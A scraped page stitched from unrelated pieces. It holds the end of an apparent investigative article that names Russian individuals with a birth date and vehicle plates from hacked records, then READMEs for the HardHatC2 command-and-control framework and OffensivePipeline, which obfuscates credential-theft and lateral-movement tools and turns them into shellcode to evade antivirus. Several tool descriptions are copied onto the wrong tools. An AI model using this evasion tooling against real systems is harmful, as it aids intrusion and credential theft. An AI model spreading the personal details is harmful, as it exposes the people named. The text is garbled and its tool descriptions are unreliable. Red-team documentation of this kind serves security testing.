The Russian business tracking service Rusprofile says Zhabykin also is the owner of a company based in the United Kingdom called RideWithLocal; the company’s website says it specializes in arranging excursions for extreme sports, including snowboarding, skiing, surfing and parasailing. Images from the RideWithLocal Facebook page show helicopters dropping snowboarders and skiers atop some fairly steep mountains.

A screenshot from the Facebook page of RideWithLocal.

Constella Intelligence found a cached copy of a now-deleted LinkedIn profile for Mr. Zhabykin, who described himself as a “sporttech/fintech specialist and mentor.”

“I create products and services worldwide, focusing on innovation and global challenges,” his LinkedIn profile said. “I’ve started my career in 2002 and since then I worked in Moscow, different regions of Russia, including Siberia and in Finland, Brazil, United Kingdom, Sri Lanka. Over the last 15 years I contributed to many amazing products in the following industries: sports, ecology, sport tech, fin tech, electronic payments, big data, telecommunications, pulp and paper industry, wood processing and travel. My specialities are Product development, Mentorship, Strategy and Business development.”

Rusprofile reports that Mikhail Borisovich Shefel is associated with at least eight current or now-defunct companies in Russia, including Dengi IM (Money IM), Internet Capital, Internet Lawyer, Internet 2, Zao Hot Spot, and (my personal favorite) an entity incorporated in 2021 called “All the Money in the World.”

Constella Intelligence found several official documents for Mr. Shefel that came from hacked Russian phone, automobile and residence records. They indicate Mr. Shefel is the registrant of a black Porsche Cayenne (Plate:X537SR197) and a Mercedes (Plate:P003PX90). Those vehicle records show Mr. Shefel was born on May 28, 1986.

Rusprofile reveals that at some point near the end of 2018, Shefel changed his last name to Lenin. DomainTools reports that in 2018, Mr. Shefel’s company Internet 2 LLC registered the domain name Lenin[.]me. This now-defunct service sold physical USSR-era Ruble notes that bear the image of Vladimir Lenin, the founding father of the Soviet Union.

Meanwhile, Pavel Vrublevsky remains imprisoned in Russia, awaiting trial on fraud charges levied against the payment company CEO in March 2022. Authorities allege Vrublevsky operated several fraudulent SMS-based payment schemes. They also accused Vrublevsky of facilitating money laundering for Hydra, the largest Russian darknet market. Hydra trafficked in illegal drugs and financial services, including cryptocurrency tumbling for money laundering, exchange services between cryptocurrency and Russian rubles, and the sale of falsified documents and hacking services.

In 2013, Vrublevsky was sentenced to 2.5 years in a Russian penal colony for convincing one of his top spammers and botmasters to launch a distributed denial-of-service (DDoS) attack against a ChronoPay competitor that shut down the ticketing system for the state-owned Aeroflot airline.

Following his release, Vrublevsky began working on a new digital payments platform based in Hong Kong called HPay Ltd (a.k.a. Hong Kong Processing Corporation). HPay appears to have had a great number of clients that were running schemes which bamboozled people with fake lotteries and prize contests.

KrebsOnSecurity sought comment on this research from the Federal Bureau of Investigation (FBI) and the U.S. Secret Service, both of which have been involved in the Target breach investigation over the years. The FBI declined to comment. The Secret Service declined to confirm or dispute any of the findings, but said it is still interested in hearing from anyone who might have more information.

“The U.S. Secret Service does not comment on any open investigation and won’t confirm or deny the accuracy in any reporting related to a criminal manner,” the agency said in a written statement. “However, If you have any information relating to the subjects referenced in this article, please contact the U.S. Secret Service at mostwanted@usss.dhs.gov. The Secret Service pays a reward for information leading to the arrest of cybercriminals.”

Agent Racoon Backdoor Targets Organizations in Middle East, Africa, and U.S.

HardHatC2 - A C# Command And Control Framework

A cross-platform, collaborative, Command & Control framework written in C#, designed for red teaming and ease of use.

HardHat is a multiplayer C# .NET-based command and control framework. Designed to aid in red team engagements and penetration testing. HardHat aims to improve the quality of life factors during engagements by providing an easy-to-use but still robust C2 framework.
It contains three primary components, an ASP.NET teamserver, a blazor .NET client, and C# based implants.

Release Tracking

Alpha Release - 3/29/23 NOTE: HardHat is in Alpha release; it will have bugs, missing features, and unexpected things will happen. Thank you for trying it, and please report back any issues or missing features so they can be addressed.

Community

Discord Join the community to talk about HardHat C2, Programming, Red teaming and general cyber security things The discord community is also a great way to request help, submit new features, stay up to date on the latest additions, and submit bugs.

Features

Teamserver & Client

• Per-operator accounts with account tiers to allow customized access control and features, including view-only guest modes, team-lead opsec approval(WIP), and admin accounts for general operation management.
• Managers (Listeners)
• Dynamic Payload Generation (Exe, Dll, shellcode, PowerShell command)
• Creation & editing of C2 profiles on the fly in the client
• Customization of payload generation
  • sleep time/jitter
  • kill date
  • working hours
  • type (Exe, Dll, Shellcode, ps command)
  • Included commands(WIP)
  • option to run confuser
• File upload & Downloads
• Graph View
• File Browser GUI
• Event Log
• JSON logging for events & tasks
• Loot tracking (Creds, downloads)
• IOC tracing
• Pivot proxies (SOCKS 4a, Port forwards)
• Cred store
• Autocomplete command history
• Detailed help command
• Interactive bash terminal command if the client is on linux or powershell on windows, this allows automatic parsing and logging of terminal commands like proxychains
• Persistent database storage of teamserver items (User accounts, Managers, Engineers, Events, tasks, creds, downloads, uploads, etc. )
• Recon Entity Tracking (track info about users/devices, random metadata as needed)
• Shared files for some commands (see teamserver page for details)
• tab-based interact window for command issuing
• table-based output option for some commands like ls, ps, etc.
• Auto parsing of output from seatbelt to create "recon entities" and fill entries to reference back to later easily
• Dark and Light
  冷
  theme

Engineers

• C# .NET framework implant for windows devices, currently only CLR/.NET 4 support
• atm only one implant, but looking to add others
• It can be generated as EXE, DLL, shellcode, or PowerShell stager
• Rc4 encryption of payload memory & heap when sleeping (Exe / DLL only)
• AES encryption of all network communication
• ConfuserEx integration for obfuscation
• HTTP, HTTPS, TCP, SMB communication
  • TCP & SMB can work P2P in a bind or reverse setups
• Unique per implant key generated at compile time
• multiple callback URI's depending on the C2 profile
• P/Invoke & D/Invoke integration for windows API calls
• SOCKS 4a support
• Reverse Port Forward & Port Forwards
• All commands run as async cancellable jobs
  • Option to run commands sync if desired
• Inline assembly execution & inline shellcode execution
• DLL Injection
• Execute assembly & Mimikatz integration
• Mimikatz is not built into the implant but is pushed when specific commands are issued
• Various localhost & network enumeration tools
• Token manipulation commands
  • Steal Token Mask(WIP)
• Lateral Movement Commands
• Jump (psexec, wmi, wmi-ps, winrm, dcom)
• Remote Execution (WIP)
• AMSI & ETW Patching
• Unmanaged Powershell
• Script Store (can load multiple scripts at once if needed)
• Spawn & Inject
  • Spawn-to is configurable
• run, shell & execute

Documentation

documentation can be found at docs

Getting Started

Prerequisites

• Installation of the .net 7 SDK from Microsoft
• Once installed, the teamserver and client are started with dotnet run

Teamserver

To configure the team server's starting address (where clients will connect), edit the HardHatC2\TeamServer\Properties\LaunchSettings.json changing the "applicationUrl": "https://127.0.0.1:5000" to the desired location and port. start the teamserver with dotnet run from its top-level folder ../HrdHatC2/Teamserver/

HardHat Client

1. When starting the client to set the target teamserver location, include it in the command line dotnet run https://127.0.0.1:5000 for example
2. open a web browser and navigate to https://localhost:7096/ if this works, you should see the login page
3. Log in with the HardHat_Admin user (Password is printed on first TeamServer startup)
4. Navigate to the settings page & create a new user if successful, a message should appear, then you may log in with that account to access the full client

Contributions & Bug Reports

Code contributions are welcome feel free to submit feature requests, pull requests or send me your ideas on discord.

OffensivePipeline - Allows You To Download And Build C# Tools, Applying Certain Modifications In Order To Improve Their Evasion For Red Team Exercises

OfensivePipeline allows you to download and build C# tools, applying certain modifications in order to improve their evasion for Red Team exercises.
A common use of OffensivePipeline is to download a tool from a Git repository, randomise certain values in the project, build it, obfuscate the resulting binary and generate a shellcode.

Features

• Currently only supports C# (.Net Framework) projects
• Allows to clone public and private (you will need credentials :D) git repositories
• Allows to work with local folders
• Randomizes project GUIDs
• Randomizes application information contained in AssemblyInfo
• Builds C# projects
• Obfuscates generated binaries
• Generates shellcodes from binaries
• There are 79 tools parameterised in YML templates (not all of them may work :D)
• New tools can be added using YML templates
• It should be easy to add new plugins...

What's new in version 2.0

• Almost complete code rewrite (new bugs?)
• Cloning from private repositories possible (authentication via GitHub authToken)
• Possibility to copy a local folder instead of cloning from a remote repository
• New module to generate shellcodes with Donut
• New module to randomize GUIDs of applications
• New module to randomize the AssemblyInfo of each application
• 60 new tools added

Examples

• List all tools:

OffensivePipeline.exe list

• Build all tools:

OffensivePipeline.exe all

• Build a tool

OffensivePipeline.exe t toolName

• Clean cloned and build tools

OffensivePipeline.exe 

Output example

PS C:\OffensivePipeline> .\OffensivePipeline.exe t rubeus

                                                                                                   ooo
                                                                                           .osooooM M
      ___   __  __                _           ____  _            _ _                      +y.     M M
     / _ \ / _|/ _| ___ _ __  ___(_)_   _____|  _ \(_)_ __   ___| (_)_ __   ___           :h  .yoooMoM
    | | | | |_| |_ / _ \ '_ \/ __| \ \ / / _ \ |_) | | '_ \ / _ \ | | '_ \ / _ \          oo  oo
    | |_| |  _|  _|  __/ | | \__ \ |\ V /  __/  __/| | |_) |  __/ | | | | |  __/          oo  oo
     \___/|_| |_|  \___|_| |_|___/_| \_/ \___|_|   |_| .__/ \___|_|_|_| |_|\___|          oo  oo
                                                     |_|                            MoMoooy.  h:
                                                                                       M M     .y+
                                                                                    M Mooooso.
                                                                                    ooo

                                                                    @aetsu
                                                                                v2.0.0


[+] Loading tool: Rubeus
    Clonnig repository: Rubeus into C:\OffensivePipeline\Git\Rubeus
                 Repository Rubeus cloned into C:\OffensivePipeline\Git\Rubeus

    [+] Load RandomGuid module
        Searching GUIDs...
                > C:\OffensivePipeline\Git\Rubeus\Rubeus.sln
                > C:\OffensivePipeline\Git\Rubeus\Rubeus\Rubeus.csproj
                > C:\OffensivePipeline\Git\Rubeus\Rubeus\Properties\AssemblyInfo.cs
        Replacing GUIDs...
                File C:\OffensivePipeline\Git\Rubeus\Rubeus.sln:
                           > Replacing GUID 658C8B7F-3664-4A95-9572-A3E5871DFC06 with 3bd82351-ac9a-4403-b1e7-9660e698d286
                        > Replacing GUID FAE04EC0-301F-11D3-BF4B-00C04F79EFBC with 619876c2-5a8b-4c48-93c3-f87ca520ac5e
                        > Replacing GUID 658c8b7f-3664-4a95-9572-a3e5871dfc06 with 11e0084e-937f-46d7-83b5-38a496bf278a
                [+] No errors!
                File C:\OffensivePipeline\Git\Rubeus\Rubeus\Rubeus.csproj:
                        > Replacing GUID 658C8B7F-3664-4A95-9572-A3E5871DFC06 with 3bd82351-ac9a-4403-b1e7-9660e698d286
                        > Replacing GUID FAE04EC0-301F-11D3-BF4B-00C04F79EFBC with 619876c2-5a8b-4c48-93c3-f87ca520ac5e
                        > Replacing GUID 658c8b7f-3664-4a95-9572-a3e5871dfc06 with 11e0084e-937f-46d7-83b5-38a496bf278a
                [+] No errors!
                File C:\OffensivePipeline\Git\Rubeus\Rubeus\Properties\AssemblyInfo.cs:
                           > Replacing GUID 658C8B7F-3664-4A95-9572-A3E5871DFC06 with 3bd82351-ac9a-4403-b1e7-9660e698d286
                        > Replacing GUID FAE04EC0-301F-11D3-BF4B-00C04F79EFBC with 619876c2-5a8b-4c48-93c3-f87ca520ac5e
                        > Replacing GUID 658c8b7f-3664-4a95-9572-a3e5871dfc06 with 11e0084e-937f-46d7-83b5-38a496bf278a
                [+] No errors!


    [+] Load RandomAssemblyInfo module
        Replacing strings in C:\OffensivePipeline\Git\Rubeus\Rubeus\Properties\AssemblyInfo.cs
                [assembly: AssemblyTitle("Rubeus")] -> [assembly: AssemblyTitle("g4ef3fvphre")]
                [assembly: AssemblyDescription("")] -> [assembly: AssemblyDescription("")]
                [assembly: AssemblyConfiguration("")] -> [assembly: AssemblyConfiguration("")]
                [assembly: AssemblyCompany("")] -> [assembly: AssemblyCompany("")]
                [assembly: AssemblyProduc   t("Rubeus")] -> [assembly: AssemblyProduct("g4ef3fvphre")]
                [assembly: AssemblyCopyright("Copyright ©  2018")] -> [assembly: AssemblyCopyright("Copyright ©  2018")]
                [assembly: AssemblyTrademark("")] -> [assembly: AssemblyTrademark("")]
                [assembly: AssemblyCulture("")] -> [assembly: AssemblyCulture("")]


    [+] Load BuildCsharp module
        [+] Checking requirements...
        [*] Downloading nuget.exe from https://dist.nuget.org/win-x86-commandline/latest/nuget.exe
                [+] Download OK - nuget.exe
                [+] Path found - C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\Common7\Tools\VsDevCmd.bat
        Solving dependences with nuget...
        Building solution...
                [+] No errors!
                [+] Output folder: C:\OffensivePipeline\Output\Rubeus_vh00nc50xud


    [+] Load ConfuserEx module
        [+] Checking requirements...
        [+] Downloading ConfuserEx from https://github.com/mkaring/ConfuserEx/releases/download/v1.6.0/ConfuserEx-CLI.zip
                [+] Download OK - ConfuserEx
        Confusing...
                [+] No errors!


    [+] Load Donut module
        Generating shellcode...

Payload options:
        Domain: RMM6XFC3
        Runtime:v4.0.30319

Raw Payload: C:\OffensivePipeline\Output\Rubeus_vh00nc50xud\ConfuserEx\Donut\Rubeus.bin
B64 Payload: C:\OffensivePipeline\Output\Rubeus_vh00nc50xud\ConfuserEx\Donut\Rubeus.bin.b64

                [+] No errors!


    [+] Generating Sha256 hashes
                Output file: C:\OffensivePipeline\Output\Rubeus_vh00nc50xud


-----------------------------------------------------------------
                SUMMARY

 - Rubeus
         - RandomGuid: OK
         - RandomAssemblyInfo: OK
            - BuildCsharp: OK
         - ConfuserEx: OK
         - Donut: OK

-----------------------------------------------------------------

Plugins

• RandomGuid: randomise the GUID in .sln, .csproj and AssemblyInfo.cs files
• RandomAssemblyInfo: randomise the values defined in AssemblyInfo.cs
• BuildCsharp: build c# project
• ConfuserEx: obfuscate c# tools
• Donut: use Donut to generate shellcodes. The shellcode generated is without parameters, in future releases this may be changed.

Add a tool from a remote git

The scripts for downloading the tools are in the Tools folder in yml format. New tools can be added by creating new yml files with the following format:

• Rubeus.yml file:

tool:
  - name: Rubeus
    description: Rubeus is a C# toolset for raw Kerberos interaction and abuses
    gitLink: https://github.com/GhostPack/Rubeus
    solutionPath: Rubeus\Rubeus.sln
    language: c#
    plugins: RandomGuid, RandomAssemblyInfo, BuildCsharp, ConfuserEx, Donut
    authUser:
    authToken: 

Where:

• Name: name of the tool
• Description: tool description
• GitLink: link from git to clone
• SolutionPath: solution (sln file) path
• Language: language used (currently only c# is supported)
• Plugins: plugins to use on this tool build process
• AuthUser: user name from github (not used for public repositories)
• AuthToken: auth token from github (not used for public repositories)

Add a tool from a private git

tool:
  - name: SharpHound3-Custom
    description: C# Rewrite of the BloodHound Ingestor
    gitLink: https://github.com/aaaaaaa/SharpHound3-Custom
    solutionPath: SharpHound3-Custom\SharpHound3.sln
    language: c#
    plugins: RandomGuid, RandomAssemblyInfo, BuildCsharp, ConfuserEx, Donut
    authUser: aaaaaaa
    authToken: abcdefghijklmnopqrsthtnf

Where:

• Name: name of the tool
• Description: tool description
• GitLink: link from git to clone
• SolutionPath: solution (sln file) path
• Language: language used (currently only c# is supported)
• Plugins: plugins to user on this tool build process
• AuthUser: user name from GitHub
• AuthToken: auth token from GitHub (documented at GitHub: creating a personal access token)

Add a tool from local git folder

tool:
  - name: SeatbeltLocal
    description: Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
    gitLink: C:\Users\alpha\Desktop\SeatbeltLocal
    solutionPath: SeatbeltLocal\Seatbelt.sln
    language: c#
    plugins: RandomGuid, RandomAssemblyInfo, BuildCsharp, ConfuserEx, Donut
    authUser:
    authToken: 

Where:

• Name: name of the tool
• Description: tool description
• GitLink: path where the tool is located
• SolutionPath: solution (sln file) path
• Language: language used (currently only c# is supported)
• Plugins: plugins to user on this tool build process
• AuthUser: user name from github (not used for local repositories)
• AuthToken: auth token from github (not used for local repositories)

Requirements for the release version (Visual Studio 2019/2022 is not required)

• Microsoft .NET Framework 3.5 Service Pack 1 (for some tools): https://www.microsoft.com/en-us/download/details.aspx?id=22
• Build Tools for Visual Studio 2022: https://aka.ms/vs/17/release/vs_BuildTools.exe
  • Install .NET desktop build tools
• (Alternative) Build Tools for Visual Studio 2019: https://aka.ms/vs/16/release/vs_BuildTools.exe
• Disable the antivirus :D
• Tested on Windows 10 Pro - Version 20H2 - Build 19045.2486

In the OffensivePipeline.dll.config file it's possible to change the version of the build tools used.

• Build Tools 2019:

<add key="BuildCSharpTools" value="C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\Common7\Tools\VsDevCmd.bat"/>

• Build Tools 2022:

<add key="BuildCSharpTools" value="C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\Common7\Tools\VsDevCmd.bat"/>

Requirements for build

• Net framework 3.5.1 (for some tools): https://www.microsoft.com/en-us/download/details.aspx?id=22
• Visual Studio 2022 -> https://visualstudio.microsoft.com/thank-you-downloading-visual-studio/?sku=Community&rel=17
  • Install .NET desktop build tools
• Add the Donut nugget manually. (Thanks to @n1xbyte for the nugget (DonutCore.1.0.1.nupkg))

Credits

• ConfuserEx project: https://github.com/mkaring/ConfuserEx
• Donut project: https://github.com/TheWover/donut
• Donut C# generator: https://github.com/n1xbyte/donutCS
• SharpCollection: https://github.com/Flangvik/SharpCollection

Supported tools

• ADCollector:
  • Description: ADCollector is a lightweight tool that enumerates the Active Directory environment to identify possible attack vectors.
  • Link: https://github.com/dev-2null/ADCollector
• ADCSPwn:
  • Description: A tool to escalate privileges in an active directory network by coercing authenticate from machine accounts (Petitpotam) and relaying to the certificate service.
  • Link: https://github.com/bats3c/ADCSPwn
• ADFSDump:
  • Description: A C# tool to dump all sorts of goodies from AD FS
  • Link: https://github.com/mandiant/ADFSDump
• ADSearch:
  • Description: A tool written for cobalt-strike's execute-assembly command that allows for more efficent querying of AD.
  • Link: https://github.com/tomcarver16/ADSearch
• BetterSafetyKatz:
  • Description: This modified fork of SafetyKatz dynamically fetches the latest pre-compiled release of Mimikatz directly from the gentilkiwi GitHub repo, runtime patching on detected signatures and uses SharpSploit DInvoke to get it into memory.
  • Link: https://github.com/Flangvik/BetterSafetyKatz
• Certify:
  • Description: Certify is a C# tool to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS).
  • Link: https://github.com/GhostPack/Certify
• DeployPrinterNightmare:
  • Description: C# tool for installing a shared network printer abusing the PrinterNightmare bug to allow other network machines easy privesc!
  • Link: https://github.com/Flangvik/DeployPrinterNightmare
• EDD:
  • Description: Enumerate Domain Data is designed to be similar to PowerView but in .NET. PowerView is essentially the ultimate domain enumeration tool, and we wanted a .NET implementation that we worked on ourselves. This tool was largely put together by viewing implementations of different functionality across a wide range of existing projects and combining them into EDD.
  • Link: https://github.com/FortyNorthSecurity/EDD
• ForgeCert:
  • Description: C# tool to find vulnerabilities in AD Group Policy, but do it better than Grouper2 did.
  • Link: https://github.com/GhostPack/ForgeCert
• Group3r:
  • Description: Rubeus is a C# toolset for raw Kerberos interaction and abuses
  • Link: https://github.com/Group3r/Group3r
• KrbRelay:
  • Description: C# Framework for Kerberos relaying
  • Link: https://github.com/cube0x0/KrbRelay
• KrbRelayUp:
  • Description: Simple wrapper around some of the features of Rubeus and KrbRelay
  • Link: https://github.com/Dec0ne/KrbRelayUp
• LockLess:
  • Description: LockLess is a C# tool that allows for the enumeration of open file handles and the copying of locked files.
  • Link: https://github.com/GhostPack/LockLess
• PassTheCert:
  • Description: A small Proof-of-Concept tool that allows authenticating against an LDAP/S server with a certificate to perform different attack actions
  • Link: https://github.com/AlmondOffSec/PassTheCert
• PurpleSharp:
  • Description: PurpleSharp is an open source adversary simulation tool written in C# that executes adversary techniques within Windows Active Directory environments
  • Link: https://github.com/mvelazc0/PurpleSharp
• Rubeus:
  • Description: Rubeus is a C# toolset for raw Kerberos interaction and abuses
  • Link: https://github.com/GhostPack/Rubeus
• SafetyKatz:
  • Description: SafetyKatz is a combination of slightly modified version of @gentilkiwi's Mimikatz project and @subtee's .NET PE Loader.
  • Link: https://github.com/GhostPack/SafetyKatz
• SauronEye:
  • Description: SauronEye is a search tool built to aid red teams in finding files containing specific keywords.
  • Link: https://github.com/vivami/SauronEye
• SearchOutlook:
  • Description: A C# tool to search through a running instance of Outlook for keywords
  • Link: https://github.com/RedLectroid/SearchOutlook
• Seatbelt:
  • Description: Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
  • Link: https://github.com/GhostPack/Seatbelt
• Sharp-SMBExec:
  • Description: A native C# conversion of Kevin Robertsons Invoke-SMBExec powershell script
  • Link: https://github.com/checkymander/Sharp-SMBExec
• SharpAppLocker:
  • Description: C# port of the Get-AppLockerPolicy PowerShell cmdlet with extended features.
  • Link: https://github.com/Flangvik/SharpAppLocker
• SharpBypassUAC:
  • Description: C# tool for UAC bypasses
  • Link: https://github.com/FatRodzianko/SharpBypassUAC
• SharpChisel:
  • Description: C# Wrapper of Chisel from https://github.com/jpillora/chisel
  • Link: https://github.com/shantanu561993/SharpChisel
• SharpChromium:
  • Description: SharpChromium is a .NET 4.0+ CLR project to retrieve data from Google Chrome, Microsoft Edge, and Microsoft Edge Beta. Currently, it can extract
  • Link: https://github.com/djhohnstein/SharpChromium
• SharpCloud:
  • Description: SharpCloud is a simple C# utility for checking for the existence of credential files related to Amazon Web Services, Microsoft Azure, and Google Compute.
  • Link: https://github.com/chrismaddalena/SharpCloud
• SharpCOM:
  • Description: SharpCOM is a c# port of Invoke-DCOM
  • Link: https://github.com/rvrsh3ll/SharpCOM
• SharpCookieMonster:
  • Description: This is a Sharp port of @defaultnamehere's cookie-crimes module - full credit for their awesome work!
  • Link: https://github.com/m0rv4i/SharpCookieMonster
• SharpCrashEventLog:
  • Description: Crashes the Windows eventlog service locally or remotely using OpenEventLogA/ElfClearEventLogFileW.
  • Link: https://github.com/slyd0g/SharpCrashEventLog
• SharpDir:
  • Description: SharpDir is a simple code set to search both local and remote file systems for files using the same SMB process as dir.exe, which uses TCP port 445
  • Link: https://github.com/jnqpblc/SharpDir
• SharpDPAPI:
  • Description: SharpDPAPI is a C# port of some DPAPI functionality from @gentilkiwi's Mimikatz project.
  • Link: https://github.com/GhostPack/SharpDPAPI
• SharpDump:
  • Description: SharpDump is a C# port of PowerSploit's Out-Minidump.ps1 functionality
  • Link: https://github.com/GhostPack/SharpDump
• SharpEDRChecker:
  • Description: Checks running processes, process metadata, Dlls loaded into your current process and each DLLs metadata, common install directories, installed services and each service binaries metadata, installed drivers and each drivers metadata, all for the presence of known defensive products such as AV's, EDR's and logging tools.
  • Link: https://github.com/PwnDexter/SharpEDRChecker
• SharPersist:
  • Description: Windows persistence toolkit written in C#
  • Link: https://github.com/mandiant/SharPersist
• SharpExec:
  • Description: SharpExec is an offensive security C# tool designed to aid with lateral movement.
  • Link: https://github.com/anthemtotheego/SharpExec
• SharpGPOAbuse:
  • Description: SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.
  • Link: https://github.com/FSecureLABS/SharpGPOAbuse
• SharpHandler:
  • Description: This project reuses open handles to lsass to parse or minidump lsass, therefore you don't need to use your own lsass handle to interact with it. (Dinvoke-version)
  • Link: https://github.com/jfmaes/SharpHandler
• SharpHose:
  • Description: SharpHose is a C# password spraying tool designed to be fast, safe, and usable over Cobalt Strike's execute-assembly.
  • Link: https://github.com/ustayready/SharpHose
• SharpHound3:
  • Description: C# Rewrite of the BloodHound Ingestor
  • Link: https://github.com/BloodHoundAD/SharpHound3
• SharpKatz:
  • Description: Porting of mimikatz sekurlsa::logonpasswords, sekurlsa::ekeys and lsadump::dcsync commands
  • Link: https://github.com/b4rtik/SharpKatz
• SharpLAPS:
  • Description: This executable is made to be executed within Cobalt Strike session using execute-assembly. It will retrieve the LAPS password from the Active Directory.
  • Link: https://github.com/swisskyrepo/SharpLAPS
• SharpMapExec:
  • Description: Sharpen version of CrackMapExec
  • Link: https://github.com/cube0x0/SharpMapExec
• SharpMiniDump:
  • Description: Create a minidump of the LSASS process from memory (Windows 10 - Windows Server 2016). The entire process uses dynamic API calls, direct syscall and Native API unhooking to evade the AV / EDR detection.
  • Link: https://github.com/b4rtik/SharpMiniDump
• SharpMove:
  • Description: .NET authenticated execution for remote hosts
  • Link: https://github.com/0xthirteen/SharpMove
• SharpNamedPipePTH:
  • Description: This project is a C# tool to use Pass-the-Hash for authentication on a local Named Pipe for user Impersonation. You need a local administrator or SEImpersonate rights to use this.
  • Link: https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH
• SharpNoPSExec:
  • Description: File less command execution for lateral movement.
  • Link: https://github.com/juliourena/SharpNoPSExec
• SharpPrinter:
  • Description: Printer is a modified and console version of ListNetworks
  • Link: https://github.com/rvrsh3ll/SharpPrinter
• SharpRDP:
  • Description: Remote Desktop Protocol Console Application for Authenticated Command Execution
  • Link: https://github.com/0xthirteen/SharpRDP
• SharpReg:
  • Description: SharpReg is a simple code set to interact with the Remote Registry service API using the same SMB process as reg.exe, which uses TCP port 445
  • Link: https://github.com/jnqpblc/SharpReg
• SharpSCCM:
  • Description: SharpSCCM is a post-exploitation tool designed to leverage Microsoft Endpoint Configuration Manager (a.k.a. ConfigMgr, formerly SCCM) for lateral movement and credential gathering without requiring access to the SCCM administration console GUI.
  • Link: https://github.com/Mayyhem/SharpSCCM
• SharpScribbles:
  • Description: Extracts data from the Windows Sticky Notes database. Works on Windows 10 Build 1607 and higher. This
  • Link: https://github.com/V1V1/SharpScribbles
• SharpSearch:
  • Description: Project to quickly filter through a file share for targeted files for desired information.
  • Link: https://github.com/djhohnstein/SharpSearch
• SharpSecDump:
  • Description: .Net port of the remote SAM + LSA Secrets dumping functionality of impacket's secretsdump.py
  • Link: https://github.com/G0ldenGunSec/SharpSecDump
• SharpShares:
  • Description: Quick and dirty binary to list network share information from all machines in the current domain and if they're readable.
  • Link: https://github.com/djhohnstein/SharpShares
• SharpSniper:
  • Description: SharpSniper is a simple tool to find the IP address of these users so that you can target their box.
  • Link: https://github.com/HunnicCyber/SharpSniper
• SharpSphere:
  • Description: SharpSphere gives red teamers the ability to easily interact with the guest operating systems of virtual machines managed by vCenter
  • Link: https://github.com/JamesCooteUK/SharpSphere
• SharpSpray:
  • Description: SharpSpray a simple code set to perform a password spraying attack against all users of a domain using LDAP and is compatible with Cobalt Strike.
  • Link: https://github.com/jnqpblc/SharpSpray
• SharpSQLPwn:
  • Description: C# tool to identify and exploit weaknesses with MSSQL instances in Active Directory environments
  • Link: https://github.com/lefayjey/SharpSQLPwn
• SharpStay:
  • Description: .NET Persistence
  • Link: https://github.com/0xthirteen/SharpStay
• SharpSvc:
  • Description: SharpSvc is a simple code set to interact with the SC Manager API using the same DCERPC process as sc.exe, which open with TCP port 135 and is followed by the use of an ephemeral TCP port
  • Link: https://github.com/jnqpblc/SharpSvc
• SharpTask:
  • Description: SharpTask is a simple code set to interact with the Task Scheduler service API using the same DCERPC process as schtasks.exe, which open with TCP port 135 and is followed by the use of an ephemeral TCP port.
  • Link: https://github.com/jnqpblc/SharpTask
• SharpUp:
  • Description: SharpUp is a C# port of various PowerUp functionality
  • Link: https://github.com/GhostPack/SharpUp
• SharpView:
  • Description: .NET port of PowerView
  • Link: https://github.com/tevora-threat/SharpView
• SharpWebServer:
  • Description: Red Team oriented simple HTTP & WebDAV server written in C# with functionality to capture Net-NTLM hashes
  • Link: https://github.com/mgeeky/SharpWebServer
• SharpWifiGrabber:
  • Description: Retrieves in clear-text the Wi-Fi Passwords from all WLAN Profiles saved on a workstation
  • Link: https://github.com/r3nhat/SharpWifiGrabber
• SharpWMI:
  • Description: SharpWMI is a C# implementation of various WMI functionality.
  • Link: https://github.com/GhostPack/SharpWMI
• SharpZeroLogon:
  • Description: An exploit for CVE-2020-1472, a.k.a. Zerologon. This tool exploits a cryptographic vulnerability in Netlogon to achieve authentication bypass.
  • Link: https://github.com/nccgroup/nccfsas
• Shhmon:
  • Description: While Sysmon's driver can be renamed at installation, it is always loaded at altitude 385201. The objective of this tool is to challenge the assumption that our defensive tools are always collecting events.
  • Link: https://github.com/matterpreter/Shhmon
• Snaffler:
  • Description: Snaffler is a tool for pentesters and red teamers to help find delicious candy needles (creds mostly, but it's flexible) in a bunch of horrible boring haystacks (a massive Windows/AD environment).
  • Link: https://github.com/SnaffCon/Snaffler
• SqlClient:
  • Description: C# .NET mssql client for accessing database data through beacon.
  • Link: https://github.com/FortyNorthSecurity/SqlClient
• StandIn:
  • Description: StandIn is a small AD post-compromise toolkit
  • Link: https://github.com/FuzzySecurity/StandIn
• SweetPotato:
  • Description: A collection of various native Windows privilege escalation techniques from service accounts to SYSTEM
  • Link: https://github.com/CCob/SweetPotato
• ThreatCheck:
  • Description: Modified version of Matterpreter's DefenderCheck
  • Link: https://github.com/rasta-mouse/ThreatCheck
• TokenStomp:
  • Description: C# POC for the token privilege removal flaw reported
  • Link: https://github.com/MartinIngesen/TokenStomp
• TruffleSnout:
  • Description: Iterative AD discovery toolkit for offensive operators
  • Link: https://github.com/dsnezhkov/TruffleSnout
• Watson:
  • Description: Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities.
  • Link: https://github.com/rasta-mouse/Watson
• Whisker:
  • Description: Whisker is a C# tool for taking over Active Directory user and computer accounts by manipulating their msDS-KeyCredentialLink attribute, effectively adding "Shadow Credentials" to the target account.
  • Link: https://github.com/eladshamir/Whisker
• winPEAS:
  • Description: Privilege Escalation Awesome Scripts SUITE
  • Link: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
• WMIReg:
  • Description: Whisker is a C# tool for taking over Active Directory user and computer accounts by manipulating their msDS-KeyCredentialLink attribute.
  • Link: https://github.com/airzero24/WMIReg

ProtectMyTooling - Multi-Packer Wrapper Letting Us Daisy-Chain Various Packers, Obfuscators And Other Red Team Oriented Weaponry

Script that wraps around multitude of packers, protectors, obfuscators, shellcode loaders, encoders, generators to produce complex protected Red Team implants. Your perfect companion in Malware Development CI/CD pipeline, helping watermark your artifacts, collect IOCs, backdoor and more.

ProtectMyToolingGUI.py

With ProtectMyTooling you can quickly obfuscate your binaries without having to worry about clicking through all the Dialogs, interfaces, menus, creating projects to obfuscate a single binary, clicking through all the options available and wasting time about all that nonsense. It takes you straight to the point - to obfuscate your tool.

Aim is to offer the most convenient interface possible and allow to leverage a daisy-chain of multiple packers combined on a single binary.

